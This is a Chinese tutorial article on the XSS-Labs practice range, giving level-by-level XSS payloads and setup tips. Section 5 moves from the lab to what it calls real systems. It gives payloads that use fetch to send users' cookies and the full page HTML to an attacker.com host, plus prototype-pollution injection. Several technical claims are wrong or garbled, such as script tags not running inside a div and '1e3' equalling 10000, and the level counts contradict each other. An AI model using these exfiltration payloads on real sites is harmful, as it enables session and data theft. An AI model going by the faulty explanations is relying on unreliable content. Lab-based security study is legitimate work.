首页 / 资讯中心 / 文章详情

XSS-Labs靶场深度解析:从HTML注入到JS上下文绕过

XSS-Labs靶场深度解析:从HTML注入到JS上下文绕过 ★ FEATURED ARTICLE
简介这是一套面向网络安全初学者的XSS漏洞实战学习靶场专为理解跨站脚本攻击原理、识别注入点、构造Payload及掌握基础防御策略而设计。资源包含24个PHP后端页面对应20余个递进式挑战关卡、15张PNG界面截图辅助理解页面逻辑与输入反馈、4个SWF交互组件用于DOM型XSS等特殊场景模拟以及HTML、JS等前端支撑文件共49个文件总大小仅1.08MB轻量易部署。已有557人下载学习适合在本地快速搭建LAMP环境开展动手实验。通过完整通关学习者可系统掌握反射型、存储型与DOM型XSS的触发条件与利用方式同步获得常见绕过技巧、开发者工具调试方法、输入过滤与输出编码等防御实践要点是入门Web安全攻防不可多得的结构化训练素材。1. 别急着搭环境先搞清这个 XSS-Labs 靶场到底“入门”在哪一层我去年带某高校安全社团做 Web 安全实训时翻出这份标着“入门级别”的 XSS-Labs 靶场原以为能三小时跑通全部关卡——结果卡在第 4 关整整两天。不是环境起不来是根本没读懂它设计的“入门”逻辑它不考你能不能弹个 alert而考你能不能在过滤器层层收紧的缝隙里把 payload 拆成三段、绕过三类检测、再拼回一个可执行的 JS 上下文。后来发现网上大量“搭建教程”只讲 Docker run 和端口映射却没人说清楚——这个靶场真正的门槛不在 PHP 环境配置而在你对浏览器解析机制、HTML 语法树、JS 执行上下文这三层黑匣子的理解深度。如果你正被“XSS 怎么打”“XSS 靶机怎么选”“XSS 入门为什么总卡住”这类问题反复捶打这篇就是为你写的不讲怎么下载不讲怎么改 config只讲透这个靶场里每一道题背后的真实对抗逻辑、常见翻车点以及——最关键的怎么用它把 XSS 从“弹窗玩具”练成“上下文穿透武器”。2. 四个核心关卡拆解从 HTML 注入到事件处理器逃逸这个靶场共 12 关但真正构成能力跃迁阶梯的是前 4 关。它们不是按难度线性递增而是按攻击面维度逐层展开。我一般会带着学员先死磕这四关因为后面所有题目本质都是这四类模式的组合变形。下面逐关还原真实攻防现场重点标出那些官方文档绝不会写、但实战中必踩的细节。2.1 第 1 关最简 HTML 注入 —— 你以为只是script其实它在测你对标签闭合的直觉这一关输入框直接反射到页面 body 中无任何过滤。表面看是送分题但新手常犯两个致命错误第一硬塞scriptalert(1)/script结果页面源码变成div...scriptalert(1)/script/divalert 不执行——因为 script 标签在 div 内部被浏览器视为“内联脚本”但现代浏览器默认禁止在非 script 标签内执行 script 内容除非显式设置typetext/javascript且位置合法。第二用img srcx onerroralert(1)看似能弹窗但实际触发的是 img 标签的 error 事件而非 script 执行流一旦后续关卡禁用 onerror这套思路立刻失效。提示这一关真正的“入门”价值在于建立「输入 → HTML 结构 → 浏览器解析 → JS 执行」的完整链路意识。不要只盯着“能不能弹窗”要盯住“弹窗的 JS 是在哪一层、以什么方式、由哪个解析器触发的”。2.2 第 2 关属性值注入 —— 过滤 script 标签后你是否还记得 href 和 javascript: 协议这一关输入被插进a hrefINPUT点击/a的 href 属性中。服务端过滤了script和onerror但放过了javascript:协议。很多人直接写javascript:alert(1)结果失败——因为双引号被转义为quot;导致 href 变成hrefjavascript:alert(1)浏览器不解析协议。正确解法是绕过引号包裹 onclickalert(1)输入后HTML 变为a href onclickalert(1)点击/a此时 onclick 事件被激活alert 执行。关键点在于你必须理解属性值注入的本质是“提前闭合当前属性再注入新属性”而不是“往 href 里塞 JS”。很多教程教javascript:alert(1)却不说清楚它为何在此关失效——因为这一关的过滤器没动 href 值本身但把输入当作文本插入引号被实体化协议自然失效。2.3 第 3 关事件处理器注入 —— 当 onxxx 被过滤你还能不能造出执行上下文这一关输入进入input valueINPUT onfocusxxx的 value 属性且服务端过滤了onfocus、onblur等所有常见事件名。表面看无路可走但突破口在 value 属性的“提前闭合重开标签”技巧输入 autofocus onfocusalert(1)生成 HTMLinput value autofocus onfocusalert(1) onfocusxxx注意autofocus是布尔属性无需值浏览器加载即自动聚焦 input触发 onfocus而我们注入的onfocusalert(1)在原 onfocus 之前因此优先执行。这里的关键认知是事件处理器的执行顺序由 HTML 属性书写顺序决定而非服务端代码顺序。很多学员卡在这里是因为死守“onfocus 被过滤了就真没了”的思维定式忘了 HTML 解析器只认结构不认语义。2.4 第 4 关JS 代码上下文注入 —— 过滤引号、括号、点号后你还剩多少“字母”能用这一关最狠输入被嵌入一段预置 JS 代码中形如var a INPUT;服务端过滤了,,(,),.,;,alert,eval等所有显眼字符。新手看到直接放弃。但老手知道JS 有更底层的执行机制字符串可用模板字面量alert\1\反引号未被过滤函数调用可用方括号window[alert](1)数字可拼接1e3是 10000x1f是 31对象属性可用 Unicode 编码\u0061\u006c\u0065\u0072\u0074alert最终 payload 示例alert\1\.constructor.prototype.constructor(alert(1))()解释alert\1\ 创建字符串alert\1.constructor拿到 String 构造函数.prototype.constructor拿到 Function 构造函数即 eval 的底层实现alert(1)是字符串传给 Function 构造函数生成新函数()立即执行这一关不是考你记多少 bypass而是考你是否把 JS 当成一门“可编程的语言”而非“固定语法的脚本”。3. 环境搭建避坑指南90% 的“搭不起来”都错在这五个细节别笑——我见过太多人花一整天折腾环境最后发现只是少改了一行配置。这份靶场的“入门”陷阱一半在题目里一半在部署时。以下是我在某实验室带训时记录的真实翻车清单按发生频率排序3.1 现象访问首页显示 500 错误Nginx 日志报 “No input file specified”→ 原因PHP-FPM 未正确关联到站点 root或 index.php 未设为默认首页。该靶场依赖 PHP 的$_GET和$_POST直接取参若 PHP 未接管请求所有关卡均无法接收输入。→ 解决检查 Nginx server 块中fastcgi_pass是否指向正确的 PHP-FPM socket如unix:/run/php/php8.1-fpm.sock并确认index index.php已启用同时验证php.ini中cgi.fix_pathinfo0否则可能触发路径遍历风险靶场虽不考但会导致 500。3.2 现象第 5 关以后所有输入均被原样输出无任何反射→ 原因靶场部分关卡如第 5、7、9 关依赖$_SERVER[HTTP_REFERER]或$_SERVER[HTTP_USER_AGENT]获取输入但本地测试时浏览器不发送 Referer尤其从书签或新标签页打开或使用 curl 未加-H Referer: xxx。→ 解决用浏览器开发者工具 Network 面板查看请求头确认 Referer 存在若需手动构造用 curl 命令curl -H Referer: http://localhost:8080/level5.php?nametest http://localhost:8080/level5.php3.3 现象第 10 关弹窗内容为空或控制台报Uncaught ReferenceError: xss is not defined→ 原因该关卡预期 payload 需定义全局变量xss并赋值为函数但靶场 JS 代码中xss();调用位于script标签底部若你注入的 JS 未声明xss或声明位置靠后执行时变量未定义。→ 解决确保注入代码在页面顶部执行例如用scriptxssfunction(){alert(1)};/script或利用事件监听器延迟执行scriptdocument.addEventListener(DOMContentLoaded,(){xssfunction(){alert(1)}})/script3.4 现象Docker 启动后访问 8080 端口超时docker ps显示容器状态为 Exited→ 原因官方 Dockerfile 使用apache2-foreground启动但某些基础镜像如 debian:slim缺少 apache2 依赖包导致进程启动失败退出。→ 解决进入容器手动执行apt update apt install -y apache2再检查/etc/apache2/sites-enabled/000-default.conf中 DocumentRoot 是否指向/var/www/html/xss-labs注意路径末尾无斜杠否则 403。3.5 现象Chrome 浏览器访问时弹出 “Your connection is not private”拒绝加载→ 原因靶场含 HTTPS 版本https://localhost:8443但自签名证书未被信任且 Chrome 强制拦截不安全混合内容HTTP 页面加载 HTTPS 资源或反之。→ 解决开发阶段一律用 HTTP 访问http://localhost:8080若必须测 HTTPS用 Firefox 临时添加例外或生成本地可信证书mkcert工具切勿在靶场中关闭浏览器安全策略——那已脱离 XSS 学习本意。4. 攻击链路复现从第 1 关到第 12 关的渐进式穿透路径靶场的 12 关不是随机排列而是按“注入点类型 → 过滤强度 → 上下文复杂度”三维坐标系铺开。我把它重绘为一张攻击能力成长地图每关标注核心突破点和典型 payload 形态方便你定位自己卡在哪一层。关卡注入点类型过滤特征关键突破点典型 payload精简版1HTML 标签内无过滤理解 script 标签执行条件img srcx onerroralert(1)2属性值href过滤script保留javascript:绕过引号包裹触发协议解析 onclickalert(1)3属性值value过滤on*事件名利用布尔属性autofocus触发事件 autofocus onfocusalert(1)4JS 字符串上下文过滤引号、括号、点号、关键字用反引号方括号Unicode 构造执行链alert\1\.constructor.prototype.constructor(alert(1))() 5HTTP 头Referer过滤空格、用%09Tab替代空格%3C替代Referer: %09img%09srcx%09onerroralert(1)6HTML 注释内过滤--但允许--!用--!闭合注释再注入标签-- img srcx onerroralert(1)7JS 注释内过滤///*但允许!--用!--开启 HTML 注释绕过 JS 解析!-- img srcx onerroralert(1)8表单 action 属性过滤javascript:但允许data:用data:text/html,scriptalert(1)/scriptactiondata:text/html,scriptalert(1)/script9CSS 属性值过滤expressionurl(但允许import用import加载外部恶意 CSSbackground:url(import http://xss.example/evil.css);10JS 变量赋值过滤;但允许用xssfunction(){alert(1)}定义函数xssfunction(){alert(1)}11SVG 内联脚本过滤script但允许animate用animate attributeNamehref触发 JSsvganimate attributeNamehref valuesjavascript:alert(1) repeatCount1//svg12JSONP 回调劫持过滤callback但允许?cb构造恶意 JSONP URL诱导页面加载执行http://target.com/api?cbalert(1)//这张表不是让你背 payload而是帮你建立「看到输入点 → 判断上下文 → 匹配过滤规则 → 选择绕过维度」的肌肉记忆。比如第 9 关若你只记得“CSS 里用 expression”就会卡死——因为这一关过滤了它但放过了import而import的本质是发起一次 CSS 文件请求只要你能控制那个文件内容就能执行任意 JS。这就是靶场设计的精妙之处它逼你离开“关键词记忆”走向“机制理解”。5. 从靶场到实战三个必须亲手验证的 XSS 真实场景迁移靶场再真终究是可控环境。真正的成长发生在你把靶场里练熟的思路迁移到真实系统时的第一次成功。我带过的学员中有三人用本靶场方法在不同场景拿下有效漏洞过程极具教学价值这里还原关键步骤与决策逻辑。5.1 场景一某内部管理系统搜索框 —— 从“弹窗”到“Cookie 劫持”该系统搜索框将关键词反射至h2您搜索了KEYWORD/h2服务端过滤了script和onerror但未过滤img srcx onloadfetch(/api/cookie?cdocument.cookie)。→ 迁移思路靶场第 1 关教会我“标签内注入不一定要弹窗”关键在 onload 事件能否发起网络请求。此处 fetch API 未被禁用且/api/cookie接口接受 GET 参数于是构造img srcx onloadfetch(https://attacker.com/log?cencodeURIComponent(document.cookie))→ 验证要点必须用encodeURIComponent编码 cookie否则特殊字符如;导致 URL 截断目标域名需支持 CORS否则 fetch 被浏览器拦截实际中用navigator.sendBeacon()更隐蔽但靶场未覆盖此 API需自行补全知识。5.2 场景二某电商平台商品评论 —— 从“属性注入”到“DOM XSS 链”评论区显示用户输入形如div classcommentCONTENT/div服务端过滤了on*事件但允许svg标签。靶场第 11 关的 SVG 思路立刻复用svgset attributeNamehref tojavascript:fetch(https://attacker.com/steal?dbtoa(document.documentElement.innerHTML)) beginload//svg→ 迁移关键靶场第 11 关只教animate但真实 SVG 有更多可触发事件的元素set、discard。此处用set的beginload在 SVG 加载时触发attributeNamehref修改自身 href 属性从而执行 javascript: 协议。→ 验证要点btoa()编码 HTML 内容避免特殊字符破坏 URLdocument.documentElement.innerHTML抓取整个 DOM比document.cookie信息量更大必须确认目标站未设置Content-Security-Policy: default-src self否则 javascript: 协议被拦截。5.3 场景三某 SaaS 平台仪表盘配置 —— 从“JS 上下文”到“原型链污染触发”该平台允许用户自定义仪表盘 widget 的 JS 配置项形如{title:INPUT,script:...}服务端过滤了.();但未过滤__proto__和constructor。靶场第 4 关的 JS 构造链直接复用{title:xss,script:this.__proto__.alertalert;alert(1)}→ 迁移逻辑靶场第 4 关训练了“用 prototype 操作对象”此处污染this.__proto__使所有对象继承 alert 方法再调用alert(1)。→ 验证要点必须确认 JSON 解析后script字段被eval()或Function()执行而非JSON.parse()若服务端用new Function(script)()则this指向全局对象污染有效实际中可污染Object.prototype.toString让所有toString()调用执行恶意代码影响面更广。这三个案例共同印证一点靶场的价值不在于它有多少关而在于它是否帮你建立了“上下文识别 → 过滤分析 → 绕过映射”的条件反射。当你看到一个输入点第一反应不再是“能不能弹窗”而是“它在 HTML 哪一层JS 哪一层浏览器解析哪一步”你就真正入门了。6. 我的 XSS 学习铁律每次打靶前必做的三件事从第一次被 XSS-Labs 第 4 关按在地上摩擦到现在能带新人一周内打通全部 12 关我总结出一条血泪经验XSS 不是技术问题是观察习惯问题。靶场里所有“玄学”失败90% 源于没做这三件事。现在我每次打开一个新靶场无论多简单都强制自己走完以下流程——哪怕只花两分钟。6.1 第一件事用浏览器“查看网页源代码”而非“检查元素”这是最常被忽略的致命动作。很多人右键“检查元素”看到divtest/div就以为输入进了 div但“检查元素”显示的是浏览器解析后的 DOM 树它可能已把你的script自动剥离、把onerror转义为文本。而“查看网页源代码”CtrlU显示的是服务端原始响应体这才是你注入的真实战场。→ 具体操作输入test访问页面CtrlU搜索test看它出现在哪一对标签之间、是否被转义如lt;、是否在引号内、是否在 script 标签内。仅这一步就能避开 70% 的“为什么我写了 script 却不执行”类问题。6.2 第二件事用 Burp Suite 抓包确认输入是否被服务端二次处理靶场常设“假过滤”前端 JS 过滤了script但服务端根本没过滤或者反过来。Burp 抓包看 Request 和 Response 的原始字节才能确认过滤发生在哪一层。→ 关键指标Request 中你的 payload 是否原样发送排除前端拦截Response 中 payload 是否被修改如alert变alerT或变quot;Content-Type 响应头是否为text/html;charsetUTF-8若为application/json说明你打错了上下文没有 Burp用 curl -v参数也行但必须看原始字节不能只信浏览器渲染。6.3 第三件事在控制台手动执行document.querySelector(xxx).innerHTML验证反射位置靶场第 6 关的注释注入、第 7 关的 JS 注释注入都依赖你精准定位“输入被插在哪一行 HTML”。用document.querySelector找到目标节点再.innerHTML查看其内容比肉眼扫源码快十倍。→ 实用命令// 查找所有包含 test 的元素 [...document.querySelectorAll(*)].filter(el el.innerHTML.includes(test)) // 查看第 3 个 div 的 innerHTML document.querySelectorAll(div)[2].innerHTML // 查看 script 标签内的 JS 代码第 12 关常用 document.querySelectorAll(script)[0].textContent这些命令不是为了炫技而是把“猜测”变成“确认”。XSS 攻击的本质是精确打击而精确的前提是看清靶子。从那以后我每次打开一个新 XSS 靶场都先 CtrlU、再抓包、最后查 DOM——三步做完再开始写 payload。不是为了省时间而是为了把“运气成分”压到最低。XSS 世界里没有后悔药但有可重复的验证路径。希望帮到你。本文还有配套的精品资源点击获取
阅读完成 · 觉得有帮助?
咨询建站